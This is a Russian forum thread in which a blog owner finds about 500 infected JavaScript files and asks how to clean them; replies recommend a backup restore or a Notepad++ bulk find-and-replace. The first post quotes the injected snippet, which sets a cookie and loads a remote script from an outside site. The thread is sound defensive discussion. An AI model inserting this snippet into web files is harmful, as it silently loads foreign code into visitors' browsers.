Перейти к содержимому

Реферальная программа Мегаплана

Партнерская программа Kredov

Заражены все js-файлы

#1 FIvYUr

FIvYUr
  • Пользователь
  • 157 сообщений
  • Репутация: 7
0

Отправлено 09 Февраль 2013 - 15:31

Добрый день. Сегодня яндекс нашел на блоке вирус. Как выяснилось это вот что:
function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<scr'+'ipt src="http://ratingsite.org/ratingsite.php"></scr'+'ipt>');}

Скачал себе папку с блогом на комп.
Проверил там аж 500 файлов с вредным кодом. Заражены практически js-файлы.

Можно как то его сразу заменить или удалить из всех? Может кто знает? А то 500 файлов проблематично редактировать.

 

 

  • 0

#2 Jean

Jean
  • Пользователь PRO
  • 1 237 сообщений
  • Репутация: 218

Отправлено 10 Февраль 2013 - 12:45

FIvYUr, Тоже не давно была такая проблема, исправил восстановив сайт из бекапа. Обратитесь к хостеру.
  • 0
Научу вас Seo оптимизировать и продвигать сайт, стоимость от 150р час, теория+практика
Консультирую по Интернет рекламе


#3 FIvYUr

FIvYUr
    Topic Starter
  • Пользователь
  • 157 сообщений
  • Репутация: 7

Отправлено 10 Февраль 2013 - 14:34

А хостеру что писали? Может сбросите текст письма?
  • 0

#4 yury

yury
  • Пользователь
  • 629 сообщений
  • Репутация: 176

Отправлено 10 Февраль 2013 - 15:13

Можно как то его сразу заменить или удалить из всех? Может кто знает? А то 500 файлов проблематично редактировать.

Если код везде одинаковый, то
* берем Notepad++
* открываем один из файлов с заразой, выделяем то, что надо убрать (включая перевод строки в конце)
* Ctrl+Shift+F (выделенное в предыдущем пункте автоматом попадет в поле "Найти")
* в открывшемся окошке при необходимости ставим галку напротив "Во всех подпапках"
* В поле "Папка" указываем место где лежат файлы для обработки
* В поле "Заменить на" должно быть пусто
* Жмем кнопку "Заменить в файлах"
  • 0

#5 Jean

Jean
  • Пользователь PRO
  • 1 237 сообщений
  • Репутация: 218

Отправлено 10 Февраль 2013 - 15:56

FIvYUr, У меня на одном есть возможность восстановить сайты из бекапа самому. А на другом написал что сайт заражен и прошу восстановить сайт из бекапа ...такой то даты..
Но предупреждаю, чаще всего у хостера бекап хранится не более недели.

yury, Файлов много и чаще самый простой выход, просто перезалить.
  • 0
Научу вас Seo оптимизировать и продвигать сайт, стоимость от 150р час, теория+практика
Консультирую по Интернет рекламе


#6 yury

yury
  • Пользователь
  • 629 сообщений
  • Репутация: 176

Отправлено 10 Февраль 2013 - 16:25

Файлов много

Специально сейчас создал 10,000 файлов с текстом "Файлов много и чаще самый простой выход, просто перезалить."
На всякий случай, это можно быстро сделать таким батовским файлом:
@ECHO OFF
FOR /L %%i IN (1,1,10000) DO ECHO Файлов много и чаще самый простой выход, просто перезалить.  > %%i.txt
и заменил указанным выше способом в них текст на "Файлов много, но Notepad++ их все шустро обработает."
(Заменялась подстрока "и чаще самый простой выход, просто перезалить" на ", но Notepad++ их все шустро обработает").

Замена выполнилась за ~10сек.
---------------------
А бэкап да. На то он и нужен: решит все проблемы.
Если он, конечно, есть на ту дату, когда заразы еще не было.
  • 0


Оформление форума – IPBSkins.ru